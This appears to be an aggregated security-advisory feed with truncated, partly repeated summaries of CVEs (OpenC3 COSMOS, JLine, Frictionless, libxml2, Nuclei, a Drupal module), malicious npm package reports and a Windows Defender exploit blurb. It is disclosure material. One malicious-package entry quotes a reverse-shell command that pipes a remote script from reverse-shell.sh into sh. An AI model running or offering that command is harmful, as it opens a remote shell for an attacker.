CVE-2026-77601 OpenC3 COSMOS: Authenticated OS command injection via the `pypi_url` setting

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.12.0 until 7.3.0, an authenticated actor can write the pypiurl setting through setsetting at POST /openc3-api/api, then cause OpenC3::PluginModel.installphase2 in...

CVE-2026-77601

OpenC3 COSMOS versions 5.12.0 through 7.3.0 are vulnerable to authenticated OS command injection via the pypi_url setting. An attacker can use the set_setting API method (POST /openc3-api/api) to write a malicious URL containing shell metacharacters. When a plugin with Python dependencies is inst...

CVE-2026-77601

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.12.0 until 7.3.0, an authenticated actor can write the pypiurl setting through setsetting at POST /openc3-api/api, then cause OpenC3::PluginModel.installphase2 in...

MAL-2026-16482 Malicious code in internallib_v657 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d61ffc921e9432c8176cc16265daf6add48cf90a4f99ec6bbec173e5109673b1 index.js exports a command function that invokes /bin/bash -c to curl a reverse-shell payload from reverse-shell.sh targeted at the hardcoded IP...

Malicious code in internallib_v657 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d61ffc921e9432c8176cc16265daf6add48cf90a4f99ec6bbec173e5109673b1 index.js exports a command function that invokes /bin/bash -c to curl a reverse-shell payload from reverse-shell.sh targeted at the hardcoded IP...

MAL-2026-16481 Malicious code in internallib_v463 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7 index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from...

Malicious code in internallib_v463 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7 index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from...

CVE-2026-77422

JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in grep command in builtins/src/main/java/org/jline/builtins/PosixCommands.java accepts a user-controlled regular expression in grep... and, unless line-regexp mode is used, automatically adds ...

CVE-2026-77422

The JLine Java library (versions 3.0.0 through 3.30.15 and 4.3.1 ) is vulnerable to a Denial of Service (DoS) condition in its built-in grep command. The root cause is that the component accepts user-controlled regular expressions and, unless in line-regexp mode, automatically adds a dot-star pre...

CVE-2026-93349

Frictionless before 5.19.1 contains an OS command injection vulnerability in the explore console command that allows an attacker who supplies a crafted Data Package descriptor to execute arbitrary operating system commands as the user who explores it. Attackers can place shell metacharacters in...

DRUPAL-CONTRIB-2026-177

The Cloud module enables users to manage cloud resources through Drupal. The module does not sufficiently sanitize user-controlled Git branch and repository URL values before passing them to shell commands in the Kubernetes integration. This vulnerability allows an attacker to execute arbitrary...

CVE-2026-93349 Frictionless OS Command Injection via explore Console Command

Frictionless before 5.19.1 contains an OS command injection vulnerability in the explore console command that allows an attacker who supplies a crafted Data Package descriptor to execute arbitrary operating system commands as the user who explores it. Attackers can place shell metacharacters in...

MSC-2026-11714

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: • Contacting external host – this package sends...

CVE-2026-76802

A flaw was found in Nuclei, a vulnerability scanner. The Dynamic Application Security Testing DAST template loading process fails to enforce signature checks for code templates. This allows an attacker to craft a malicious template containing unsigned code, which, when processed by an operator...

libxml2: Stack Buffer Overflow in xmllint Interactive Shell Command Handling

A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare...

MSC-2026-11659

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: • Contacting external host – this package sends...

MSC-2026-11648

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: • Contacting external host – this package sends...

RoguePlanet

RoguePlanet RoguePlanet Windows Defender Vulnerability Welcome back everyone !!! The exploit is a race condition, so it's a hit or miss. I have managed to get a 100% success rate on some machines while it struggled to work on others. The exploit has been tested in Windows 11 Official channel +...

Low: Red Hat Security Advisory: libxml2 security update

An update for libxml2 is now available for Red Hat Enterprise Linux 10.0 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

libxml2: Stack Buffer Overflow in xmllint Interactive Shell Command Handling

A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare...